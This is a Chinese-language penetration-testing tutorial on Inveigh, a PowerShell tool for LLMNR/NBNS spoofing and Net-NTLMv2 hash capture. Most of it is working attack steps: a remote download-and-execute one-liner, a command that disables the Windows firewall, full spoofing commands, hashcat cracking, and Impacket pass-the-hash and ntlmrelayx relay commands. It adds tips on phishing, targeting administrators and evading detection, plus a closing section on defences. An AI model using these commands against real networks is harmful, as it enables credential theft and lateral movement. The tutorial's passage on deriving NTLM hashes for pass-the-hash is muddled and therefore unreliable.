10分钟掌握Inveigh:内网渗透中LLMNR/NBNS欺骗与Net-NTLMv2哈希捕获实战
1. 项目概述为什么你需要关注Inveigh如果你正在学习内网渗透测试或者对Windows网络认证机制背后的攻防感兴趣那么Inveigh这个名字你迟早会碰到。它不是一个新工具但在实战中尤其是在红队评估和内部安全审计里它的出场率一直居高不下。简单来说Inveigh是一个用PowerShell编写的网络协议欺骗与凭据捕获工具核心功能是针对LLMNR、NBNS和mDNS等协议进行欺骗攻击并捕获Net-NTLMv2哈希。你可能听说过Responder它是这个领域的“老大哥”。但Inveigh作为纯PowerShell实现在Windows环境下的隐蔽性、灵活性和与现有PowerShell生态的集成度上有它独特的优势。对于渗透测试人员而言掌握Inveigh意味着你多了一种在Windows内网中快速定位薄弱环节、获取初始立足点的方法。它不直接给你明文密码但它捕获的Net-NTLMv2哈希是后续进行离线破解或中继攻击的“敲门砖”。这篇文章的目标很直接让你在10分钟内从零开始完成Inveigh的下载、配置并成功运行一次基础的欺骗攻击亲眼看到哈希被捕获的过程。我们会避开那些复杂的理论堆砌聚焦于“怎么做”和“为什么这么做”穿插我踩过的坑和总结出的实用技巧。无论你是刚入门的安全爱好者还是想补充工具链的从业者跟着步骤走一遍你就能把Inveigh用起来。2. 环境准备与工具获取在真正运行命令之前确保环境正确是避免后续一系列“玄学”报错的关键。Inveigh对运行环境有明确要求准备不当你可能连工具都启动不了。2.1 系统与权限要求首先Inveigh是一个PowerShell脚本工具集这意味着它天然依赖Windows PowerShell环境。它兼容PowerShell 2.0及以上版本但强烈建议在PowerShell 5.1或更高版本以及Windows 10/Windows Server 2016及以上系统中运行。新版本系统内置的.NET Framework和PowerShell功能更完整能减少兼容性问题。最核心的一点管理员权限。这是很多新手第一个跟头。Inveigh需要创建原始网络套接字来监听和发送数据包这属于底层网络操作必须拥有系统管理员权限。你必须以**“以管理员身份运行”**的方式启动PowerShell或PowerShell ISE。如果你在普通用户权限下运行会收到类似“访问被拒绝”或函数调用失败的报错。如何检查当前权限在PowerShell中运行whoami /groups | findstr /i mandatory如果输出中包含“S-1-16-12288”高强制级别或直接运行net session命令不报错则说明你拥有管理员权限。2.2 下载与导入InveighInveigh的官方代码托管在GitHub上。我们通常不推荐直接克隆整个仓库除非你需要参与开发而是下载发布版的ZIP文件或直接使用PowerShell远程加载。方法一直接远程加载最快入门这是测试和快速上手最方便的方法。在管理员权限的PowerShell中一次性执行以下命令来从GitHub加载模块IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)这条命令使用IEXInvoke-Expression来下载并执行远程脚本。执行成功后Invoke-Inveigh等函数就会被加载到当前PowerShell会话中。注意这种方法依赖于你的机器能正常访问GitHub。在某些严格的内网环境或受到网络策略限制的情况下可能会失败。此外由于是直接执行远程代码你需要完全信任该代码源。对于正式测试建议采用方法二。方法二本地下载与导入推荐用于实战为了稳定性和可控性将工具下载到本地是更好的选择。访问Inveigh的GitHub发布页面下载最新的ZIP压缩包。解压到一个你熟悉的目录例如C:\Tools\Inveigh。在管理员PowerShell中导航到该目录然后导入模块cd C:\Tools\Inveigh . .\Inveigh.ps1注意这里是两个点一个空格再加一个反斜杠。第一个点.是PowerShell的“点号 sourcing”操作符用于在当前作用域运行脚本使其定义的函数在会话中可用。导入成功的标志是你可以正常输入Invoke-Inveigh并按Tab键补全且不报“无法识别命令”的错误。2.3 网络环境与防火墙考量Inveigh需要在你的测试机上监听特定端口如UDP 5355 for LLMNR, UDP 137 for NBNS。因此临时关闭Windows Defender防火墙或配置相应的入站规则是必要的否则可能无法接收到返回的响应。你可以通过以下命令临时关闭防火墙测试后请记得重新开启netsh advfirewall set allprofiles state off若要更精细地控制可以为Inveigh使用的端口添加入站规则。但为了快速入门临时关闭防火墙是最直接的方式。另外请确保你的测试机与目标内网处于同一网段。Inveigh的欺骗攻击是基于广播或组播的跨路由器的攻击通常无效除非配合其他技术如ICMP重定向。你的测试机最好有一块网卡连接在目标内网中。3. Inveigh核心功能与参数解析成功导入模块后我们来看看Invoke-Inveigh这个核心函数有哪些“开关”可以拨动。理解这些参数你才能灵活控制工具的行为而不是死记硬背一条命令。3.1 基础监听与欺骗模式Invoke-Inveigh有两种主要运行模式控制台模式和控制台禁用模式。控制台模式默认模式。运行后一个交互式控制台会启动实时显示捕获到的请求、哈希等信息。你可以按CtrlC停止监听但控制台本身会保持活动便于你查看输出。这是学习和调试时最常用的模式。控制台禁用模式通过参数-ConsoleOutput $false开启。在这种模式下所有输出会被重定向到内存或指定的日志文件不会弹出单独的控制台窗口。这在需要后台运行、或将Inveigh集成到其他自动化脚本中时非常有用。3.2 关键攻击参数详解以下是几个最核心、你必须理解的参数-LLMNR/-NBNS/-mDNS(布尔值默认为$true)这三个参数分别控制是否对LLMNR链路本地多播名称解析、NBNSNetBIOS名称服务和mDNS多播DNS协议进行欺骗响应。在内网中Windows系统在DNS查询失败后会依次尝试LLMNR和NBNS进行名称解析。开启这些选项Inveigh就会伪装成目标机器要寻找的主机从而将流量引向自己。实战选择在纯Windows环境中-LLMNR和-NBNS是最有效的通常两者都开启。-mDNS在混合了Apple或Linux设备的环境中可能更有用。-SpooferIP(字符串)指定欺骗者即你自己运行Inveigh的机器的IP地址。当有主机请求名称解析时Inveigh将用这个IP地址进行响应。这个参数至关重要如果你不指定Inveigh会尝试自动检测但在多网卡或复杂网络环境下自动检测很可能出错导致攻击失败。如何设置通常设置为你的测试机在内网中的IP地址。例如-SpooferIP 192.168.1.10。-HTTP/-HTTPS/-SMB/-LDAP(布尔值)这些参数控制Inveigh是否开启相应的认证捕获监听器。当有客户端被欺骗连接到你的机器后如果它尝试进行网络认证例如访问一个假的共享或网站这些监听器就会捕获到认证尝试并提取出Net-NTLMv2哈希。-HTTP $true开启HTTP监听默认端口80常用于捕获通过Web代理或浏览器发起的认证。-HTTPS $true开启HTTPS监听默认端口443需要配合证书使用配置稍复杂。-SMB $true开启SMB监听默认端口445这是捕获哈希的主要来源因为文件共享访问非常常见。-LDAP $true开启LDAP监听默认端口389用于捕获LDAP查询中的认证。入门建议先开启-SMB $true和-HTTP $true这两者最常用。-MachineAccounts(布尔值默认为$false)是否捕获机器账户计算机账户的哈希。机器账户的哈希通常比用户账户的哈希强度更高破解难度更大但在某些特定攻击场景如基于资源的约束委派中有用。初期学习可以保持默认关闭。-Tool(整数 默认为0)这个参数决定了Inveigh的“攻击性”。它有几个等级0分析模式。只监听和记录网络中的LLMNR/NBNS/mDNS请求但不发送任何欺骗响应。这是无害的用于侦察网络中有哪些主机在使用这些协议。1欺骗模式。对收到的请求发送欺骗响应默认模式。2中继模式。这是一个高级功能需要配合-Relay等参数使用可以将捕获到的认证尝试中继到其他目标机器。这超出了快速入门的范围但你需要知道这个选项的存在。3.3 输出与日志参数-OutputDirectory(字符串)指定所有输出文件捕获的哈希、日志等保存的目录。例如-OutputDirectory C:\Logs\Inveigh。如果不指定默认会保存在当前用户目录下的某个位置不便于管理。-FileOutput(布尔值默认为$false)是否将控制台输出同时保存到文件。开启后-FileOutput $true会在-OutputDirectory指定的目录下生成Inveigh-*.txt日志文件。-StatusOutput(布尔值默认为$true)是否在控制台输出状态信息如启动成功、监听端口等。通常保持开启。一个重要的实操心得在第一次运行或测试时建议开启-FileOutput $true并指定-OutputDirectory。这样即使控制台信息滚动太快看不清你也能在日志文件中回顾所有细节对于排查问题至关重要。4. 10分钟实战配置并运行你的第一次哈希捕获理论说再多不如动手跑一遍。下面我们进行一个最简化的实战演练目标是在一个实验内网中捕获一台Windows 10客户端在尝试访问错误共享时产生的Net-NTLMv2哈希。4.1 场景搭建与假设攻击机 (Kali Linux / 或另一台Windows): IP: 192.168.1.100。运行Inveigh。靶机 (Windows 10): IP: 192.168.1.50。域成员或工作组机器。网络: 两者位于同一子网192.168.1.0/24。目标: 诱使靶机用户尝试访问一个不存在的网络路径从而捕获其哈希。4.2 分步操作命令与解释以下操作均在攻击机上以管理员身份运行的PowerShell中进行。第1-2分钟下载并导入Inveigh我们采用远程加载的方式最快速度开始。# 以管理员身份打开PowerShell执行以下命令 IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1)执行后应无报错光标等待下一条命令。第3-5分钟启动Inveigh监听现在我们启动一个具备基础欺骗和捕获功能的Inveigh实例。Invoke-Inveigh -LLMNR $true -NBNS $true -SpooferIP 192.168.1.100 -SMB $true -HTTP $true -Tool 1 -OutputDirectory C:\InveighLogs -FileOutput $true逐参数解释你刚才输入的命令-LLMNR $true -NBNS $true: 开启对LLMNR和NBNS协议的欺骗。-SpooferIP 192.168.1.100: 明确告诉Inveigh用我这个IP攻击机IP去响应欺骗请求。-SMB $true -HTTP $true: 开启SMB和HTTP认证捕获监听器准备接收连接。-Tool 1: 设置为欺骗模式主动响应。-OutputDirectory C:\InveighLogs: 将所有输出文件保存到C:\InveighLogs目录。-FileOutput $true: 同时将控制台输出写入日志文件。命令执行后你会看到类似下面的输出说明Inveigh已成功启动[*] Inveigh 1.xx started at [时间] [*] Primary IP Address 192.168.1.100 [*] Spoofer IP Address 192.168.1.100 [*] LLMNR Spoofer Enabled [*] NBNS Spoofer Enabled [*] mDNS Spoofer Disabled [*] SMB Capture Enabled [*] HTTP Capture Enabled [] Listening on [端口]...此时Inveigh正在后台运行并打开了控制台。第6-8分钟触发靶机请求现在切换到靶机Windows 10。我们需要模拟一个用户常见的错误操作来触发名称解析请求。打开“运行”对话框Win R。输入一个不存在的UNC路径例如\\FileServer123\Share。这里FileServer123是一个杜撰的、不存在于当前网络的主机名。按回车或点击“确定”。发生了什么靶机首先会尝试用DNS解析FileServer123失败。由于DNS失败系统会回退使用LLMNRIPv6和NBNSIPv4在本地网段进行广播查询“谁知道FileServer123”正在监听的攻击机Inveigh收到了这个广播查询。Inveigh立刻响应“我就是FileServer123我的IP是192.168.1.100SpooferIP。”靶机信以为真开始向192.168.1.100发起SMB连接尝试访问共享。攻击机上的Inveigh SMB监听器收到了连接请求并返回一个认证挑战。靶机使用当前用户的凭据计算出一个Net-NTLMv2响应发送给攻击机。Inveigh成功捕获到这个响应也就是Net-NTLMv2哈希。第9-10分钟查看捕获结果切换回攻击机的Inveigh控制台。你应该能看到滚动的日志其中最关键的一行会类似于[SMB] NTLMv2-SSP Client : 192.168.1.50 [SMB] NTLMv2-SSP Username : DOMAIN\JohnDoe [SMB] NTLMv2-SSP Hash : JohnDoe::DOMAIN:1122334455667788:2F0B5A5B...很长一串恭喜你已经成功捕获到了一个Net-NTLMv2哈希。其中包含了用户名DOMAIN\JohnDoe、域名DOMAIN和最重要的哈希值部分。同时你可以去C:\InveighLogs目录下查看文件。通常会有一个名为Inveigh-日期时间.txt的日志文件里面记录了完整的会话信息还有一个Inveigh-NTLMv2.txt文件专门以username::domain:challenge:response...的格式保存捕获到的哈希这个格式可以直接被hashcat或john等工具导入进行破解。在控制台中按CtrlC可以停止Inveigh的监听。5. 捕获哈希后的处理与进阶思路成功捕获哈希只是第一步就像拿到了一把锁的模具接下来你需要决定是复制钥匙破解哈希还是用模具去开其他的锁哈希传递或中继。5.1 哈希的离线破解Net-NTLMv2哈希相比古老的NTLMv1或LM哈希要安全得多但并非不可破解。它本质上是对用户密码进行一系列加密运算后的结果。你可以使用hashcat或John the Ripper进行离线暴力破解或字典攻击。将捕获到的哈希从Inteigh-NTLMv2.txt中取出保存到一个文件例如hash.txt内容格式为JohnDoe::DOMAIN:1122334455667788:2F0B5A5B...使用hashcat进行字典攻击的示例命令hashcat -m 5600 hash.txt rockyou.txt-m 5600指定了Net-NTLMv2的破解模式。rockyou.txt是一个常用的密码字典文件。破解的成功率完全取决于用户密码的强度。弱密码可能在几分钟甚至几秒钟内被破解。这也是为什么在内网安全中强制使用强密码策略如此重要。5.2 哈希传递攻击如果你捕获到的哈希对应的账户在目标内网的其他机器上拥有相同的密码这在横向移动中很常见你可以尝试“哈希传递”攻击。这种攻击利用的是NTLM认证协议的特性允许你使用哈希值本身而非明文密码进行身份验证。常用的工具有CrackMapExec、Impacket套件中的psexec.py、smbexec.py等。例如使用Impacket的psexec尝试哈希传递python3 psexec.py -hashes :NTLM哈希 DOMAIN/JohnDoe192.168.1.51这里需要的是NTLM哈希通常是Net-NTLMv2哈希中的“响应”部分经过计算转化而来Inveigh捕获的不是直接可用的NTLM哈希需注意区分。哈希传递攻击能否成功还取决于目标系统的配置如是否启用了UAC远程限制、防火墙规则等。5.3 Net-NTLMv2中继攻击这是比单纯捕获哈希更高级、危害可能更大的攻击方式。它不尝试破解哈希而是将捕获到的认证请求“实时地”中继到另一台目标机器。如果中继成功你将以受害用户的身份在第三台机器上执行命令。这种攻击对防御弱签名如SMB签名未强制启用的环境特别有效。Inveigh本身通过-Tool 2参数和-Relay等参数集成了中继功能但配置更为复杂需要精确指定中继目标。更常用的中继工具是Impacket的ntlmrelayx.py。其基本思路是运行一个中继服务器将Inveigh或Responder捕获到的SMB/HTTP认证请求转发到你指定的目标。一个简单的ntlmrelayx示例# 首先启动ntlmrelayx指定中继目标为192.168.1.51并执行whoami命令 python3 ntlmrelayx.py -t smb://192.168.1.51 -c whoami # 然后在另一窗口运行Inveigh或Responder进行欺骗和捕获当有客户端被欺骗并向攻击机发起认证时ntlmrelayx会截获该认证并尝试用它去连接192.168.1.51如果成功且该用户在目标机器上有权限whoami命令的结果就会返回。中继攻击的成功条件更苛刻需要目标服务如SMB未启用签名并且中继到的用户在该目标上有足够的权限。6. 实战避坑指南与疑难排查即使按照教程一步步来你也可能会遇到各种问题。下面是我在多次使用Inveigh中总结出的常见“坑”及其解决方案。6.1 常见错误与解决方案速查表问题现象可能原因解决方案运行Invoke-Inveigh时报“函数不存在”Inveigh.ps1脚本未成功导入当前会话。检查是否以管理员权限运行PowerShell并确保正确执行了导入命令如. .\Inveigh.ps1。可以尝试Get-Command Invoke-Inveigh查看命令是否存在。Inveigh启动后无任何输出或很快退出防火墙阻止了端口监听。临时关闭Windows Defender防火墙netsh advfirewall set allprofiles state off或为Inveigh需要监听的端口如UDP 5355, 137, TCP 445, 80添加入站规则。控制台显示收到LLMNR/NBNS请求但无SMB哈希捕获1. 靶机网络发现或SMB客户端服务未开启。2. 靶机防火墙阻止了445端口出站。3.-SpooferIP设置错误。1. 在靶机确保“网络发现”和“文件和打印机共享”已开启。2. 临时关闭靶机防火墙测试。3. 仔细检查-SpooferIP是否设置为攻击机正确的内网IP。捕获到的哈希用户名是“WORKGROUP\PCNAME$”捕获到的是机器账户计算机账户的哈希。这是正常现象说明触发的认证来自机器账户本身。如果你只想捕获用户哈希可以尝试让域用户手动触发请求如运行net use \\fake并确保-MachineAccounts参数为$false默认。攻击机IP与-SpooferIP不一致导致攻击失败在多网卡或VPN环境下自动检测IP出错。务必手动指定-SpooferIP参数将其设置为攻击机连接目标内网的那块网卡的IP地址。使用ipconfig命令查看确认。哈希捕获成功但hashcat无法识别哈希格式不正确。确保从Inveigh-NTLMv2.txt中提取的哈希行格式完整且保存的文件是纯文本格式无BOM。使用-m 5600模式。在域环境中捕获到的哈希域名部分为空或为工作组名触发请求的客户端当前未登录到域或以本地账户身份运行请求。确保靶机已登录域账户并且触发请求的进程如资源管理器是在域用户上下文中运行的。6.2 提升成功率的技巧结合社会工程单纯的“输入错误路径”依赖用户偶然操作。你可以通过钓鱼邮件、内部通讯工具发送一个包含\\fake-server\share的链接诱导用户点击成功率会大幅提升。主动发现与扫描先使用-Tool 0分析模式运行Inveigh一段时间或者使用nmap扫描内网找出哪些IP经常发出LLMNR/NBNS请求。这些活跃主机就是高价值目标。针对关键用户在上班时间如周一早上运行攻击此时用户登录密集触发认证请求的概率更高。如果知道管理员账户名称可以尝试用类似管理员命名风格的假主机名如\\it-admin-backup\进行欺骗。保持低调与规避检测长时间、大范围的LLMNR/NBNS欺骗可能被网络监控设备发现。可以设置-Repeat和-Delay参数来控制响应频率避免对每个请求都响应以降低噪音。在企业安全测试中务必在授权范围内进行。6.3 防御视角如何防范此类攻击了解攻击是为了更好的防御。作为蓝队或系统管理员你可以采取以下措施禁用不必要的协议在域环境中通过组策略禁用LLMNR和NBNS。这是最根本的解决方案。将网络中的名称解析完全交给DNS。启用SMB签名强制启用SMB签名可以有效防御Net-NTLMv2中继攻击。但这可能会对性能有轻微影响且需要所有客户端支持。部署网络监控使用IDS/IPS或网络流量分析工具检测网段内异常的LLMNR/NBNS响应包例如来自非DNS服务器的响应。实施强密码策略增加密码的复杂性和长度提升离线破解哈希的难度。限制NTLM的使用在可能的情况下迁移到Kerberos认证并限制NTLM的使用范围。用户安全意识培训教育用户不要随意点击或访问未经确认的网络路径。掌握Inveigh的基本使用是你理解内网横向移动关键一环的起点。它揭示了Windows网络认证中一个古老但依然广泛存在的弱点。工具本身不难运行难的是在合适的时机、合适的地点使用它并将捕获到的信息转化为实际的突破点。真正的功力体现在你对网络的理解、对目标行为的预判以及将各种工具链衔接起来的自动化能力上。从这次10分钟的入门开始不断实验结合其他工具如nmap, crackmapexec, bloodhound一起使用你会对内网安全有更立体、更深刻的认识。